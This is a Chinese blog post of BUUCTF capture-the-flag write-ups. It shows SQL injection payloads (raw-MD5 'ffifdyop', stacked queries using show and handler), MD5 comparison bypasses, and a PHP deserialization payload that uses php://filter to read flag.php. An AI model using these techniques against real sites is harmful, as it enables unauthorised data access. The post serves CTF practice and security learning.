buuctf刷题

本文详细介绍了多个CTF挑战的解题过程,涉及Web安全的多个方面,包括SQL注入、弱口令、模板注入、变量覆盖、PHP伪协议等。通过这些案例,展示了如何利用漏洞执行系统命令、读取敏感信息和获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

BJDCTF2020 Easy MD5

进来就是一个输入框,发包查看返回信息
在这里插入图片描述
可以看到SQL语句。这里猜想MD5出来的值会不会可以可以这样利用
select * from ‘admin’ where password=’‘or’1’

这段PHP代码可以找到MD5出来的值类似于 '‘or’1…’

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

找到ffifdyop字符串,输入后出现
在这里插入图片描述
查看HTML源码发现部分PHP源码

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

弱相等,使用a=QNKCDZO&b=s214587387a 可以到达下一关
下一关也给了源码,不过这次是强相等

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

根据PHP的一些特性,可以知道MD5函数处理数组会返回null,所以param1[]=1&param2[]=2 可以拿到flag。

md5(array()) = null
sha1(array()) = null    
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

网鼎杯 2020 青龙组 AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  1. 首先对传进来的str判断里面的字符必须在ascii码32~125之间。
  2. 然后反序列化执行到析构函数__desctruct();判断op,如果为2的话会重新赋值为1。
  3. 在process()函数中op为1调用write()函数。2调用read()函数。所以我们需要的就是调用read()函数。所以不能让析构函数对op重新赋值。
  4. 我们可以看到析构函数中对op的判断是强相等,因为上面判断的是字符串,所以我们只要将op定义为整形就可以绕过。
  5. 生成payload代码如下。
<?php
 
class FileHandler {
 
    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        // $this->process();
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        // $this->process();
    }
 
}
$A=new FileHandler();
$B=serialize($A);
echo $B;

GYCTF2020 Blacklist

堆叠注入 + handler

1';show databases;					\\查看数据库
1';show tables;						\\查看数据表
1';show columns from FlagHere;		\\查看数据表中的字段名
1';handler FlagHere open as p;handler p read first;handler p close;

强网杯 2019 随便注

黑名单列表
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

11';show columns from `1919810931114514`;		\\可以看到flag列在这个数字的表中

万能密码可以看到数据,结合之前的查询,判断这个是words表中的数据

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值